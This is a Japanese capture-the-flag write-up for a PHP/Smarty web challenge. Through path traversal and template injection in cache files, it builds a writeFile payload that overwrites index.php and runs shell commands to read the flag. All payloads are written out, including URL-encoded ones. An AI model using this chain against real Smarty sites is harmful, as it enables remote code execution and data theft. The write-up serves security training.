https://ctftime.org/event/2304
web/untitled-smarty-challenge
ソースコード有り。PHPで書かれたサイトが与えられる。index.phpは非常に簡潔。
<?php require 'vendor/autoload.php'; use Smarty\Smarty; $smarty = new Smarty(); if (isset($_GET['page']) && gettype($_GET['page']) === 'string') { $file_path = "file://" . getcwd() . "/pages/" . $_GET['page']; $smarty->display($file_path); } else { header('Location: /?page=home'); }; ?>
composerでSmartyを入れてテンプレートを読み込んでいる。クエリストリング経由でpageを指定して開くことができるが、単純なパストラバーサルがある。なので、方針としては、何等かのファイルを読み込ませて、SmartyでSSTIしてRCEに繋げていく。
どのファイルをパストラバーサルで持って来るか
問題はどのファイルを読み込むかという点であるが、配布ソースコードに含まれているファイルに面白そうなファイルは無い。かつ、openbdir.iniというファイルでopen_basedir = "/app"
のように/app
以下のファイルしか読み込めなくなっている。ということで当初は、composerで読み込まれた/app/vendor
以下のファイルを漁っていた。
漁っている途中に/app/templates_c
というフォルダができており、それ以下にSmartyのキャッシュが保存されていることに気が付いた。中を見るとパスが含まれていた。パスにSSTIのペイロードを埋め込めないだろうか?
Dockerで環境を起動して試してみよう。/?page=home
のように読み込まれるので、ここでSmartyのSSTIペイロードである{4*4}
をパスに入れ込んでみよう。/?page={4*4}/../home
としてみる。{4*4}
はフォルダ名として認識されるので../
で戻してhomeの画面が出てくる。ここでDocker Desktopからターミナルを起動して見てみると/app/templates_c/42c32515df92fd94929071a7670634914065a86a_0.file_home.php
というキャッシュファイルができていた。中身は以下のような感じ。
/app/templates_c # cat 42c32515df92fd94929071a7670634914065a86a_0.file_home.php <?php /* Smarty version 5.4.0, created on 2024-08-18 14:51:04 from 'file:///app/pages/{4*4}/../home' */ /* @var \Smarty\Template $_smarty_tpl */ if ($_smarty_tpl->getCompiled()->isFresh($_smarty_tpl, array ( 'version' => '5.4.0', 'unifunc' => 'content_66c20a58edd239_18775078', 'has_nocache_code' => false, 'file_dependency' => array ( '42c32515df92fd94929071a7670634914065a86a' => array ( 0 => '///app/pages/{4*4}/../home', 1 => 1723762455, 2 => 'file', ), ), …
良い感じに{4*4}
がパス経由で埋め込めている。これで/?page=../templates_c/42c32515df92fd94929071a7670634914065a86a_0.file_home.php
を読み込むと出力に///app/pages/16/../home
というのが含まれて、ちゃんと動いていることが分かる。パス経由でSSTIができることが分かった。試しに本番環境でも同様のパスを指定して、同じキャッシュファイルを指定してみると動いた。hex値が付いているが同じパスを指定していれば同じキャッシュファイル名になるようだ。これで、手元でファイル名を取得できれば、本番環境でも流用でき、動かすことができることが分かった。
RCEするためのSSTIペイロードを用意する
後は、RCEコードを用意する。フラグはDockerfile上でRUN mv /flag.txt /flag-$(head -c 6 /dev/urandom | xxd -p).txt
のように作られている。色々なサイトでSmartyでSSTIしてRCEするpayloadを探してきて試すが刺さらない。自分で用意する必要がありそうだ。かつ、パスに指定する関係などで、.
(dot), *
, '
(と忘れたけれど他にも少し)など使えない文字があるので、その辺も頑張って回避する。
Smartyのソースコードを読みながら色々探すと、writeFileが使えるパスを発見した。
{$smarty.template_object->getSmarty()->writeFile("index.php","<?php echo `id` ?>")}
これでindex.phpを上書きすることでRCEに繋げることができる。このままだと.
が使えないのでどうにかする必要がある。まず、$smarty.template_object
の部分は[](ブラケット)を使って回避可能。
{$smarty["template_object"]->getSmarty()->writeFile("index.php","<?php echo `id` ?>")}
index.php
の部分はsmartyのバージョンに含まれているドットを持ってきて、変数をうまく使いながら用意する。
{assign var=dot value=$smarty["version"]|substr:1:1} {assign var=index value="index"|cat:$dot|cat:"php"}
$smarty["version"]
が5.4.0
なので、その2文字目(0-indexedだと1文字目)を持ってくることで変数$dotを1行目で用意し、2行目で文字列結合をして$indexにindex.php
を用意した。これを使えばいいので最終的には以下のようなpayloadを用意した。
{assign var=dot value=$smarty["version"]|substr:1:1}{assign var=index value="index"|cat:$dot|cat:"php"}{$smarty["template_object"]->getSmarty()->writeFile($index,"<?php echo `id` ?>")}
試してみよう
さっきのpayloadを試してみる。さっきと同様に入れてみよう。
/?page={assign%20var=dot%20value=$smarty[%22version%22]|substr:1:1}{assign%20var=index%20value=%22index%22|cat:$dot|cat:%22php%22}{$smarty[%22template_object%22]-%3EgetSmarty()-%3EwriteFile($index,%22%3C?php%20echo%20`id`%20?%3E%22)}/../home
このような感じ。5477bb16a2b28dc47d7ecc9c2938b3b0e2722888_0.file_home.php
というファイルが出来た。なので、以下のように呼んでSSTIを発動させる。
/?page=../templates_c/5477bb16a2b28dc47d7ecc9c2938b3b0e2722888_0.file_home.php
これでindex.phpが書き換えられたので、/
を開いてみるとidコマンドが動いていることが確認できる。ok。
フラグを取る
フラグを取るコマンドにも*
が使えない同様の制約が係るので全部回避できるようなものを探すとcat /$(ls / | grep flag)
で取れた。つまり最終的なpayloadは以下。
{assign var=dot value=$smarty["version"]|substr:1:1}{assign var=index value="index"|cat:$dot|cat:"php"}{$smarty["template_object"]->getSmarty()->writeFile($index,"<?php echo `cat /$(ls / | grep flag)` ?>")}
これ以降はidコマンドを試したときとほぼ同等であるが、URLに入れ込むと以下のようなURLになる。
/?page={assign%20var=dot%20value=$smarty[%22version%22]|substr:1:1}{assign%20var=index%20value=%22index%22|cat:$dot|cat:%22php%22}{$smarty[%22template_object%22]-%3EgetSmarty()-%3EwriteFile($index,%22%3C?php%20echo%20`cat%20/$(ls%20/%20|%20grep%20flag)`%20?%3E%22)}/../../../home
何が違うかというとhome前の../
の数で2つ増えている。これはpayloadに2つ/
が含まれているのでパス的には2つディレクトリが増えているため帳尻を合わせているだけである。これで2de3309f348782e8f310688cb35a3e03db1bfc61_0.file_home.php
が出来るので、/?page=../templates_c/2de3309f348782e8f310688cb35a3e03db1bfc61_0.file_home.php
を踏んでから/
を開くとフラグが出てくる。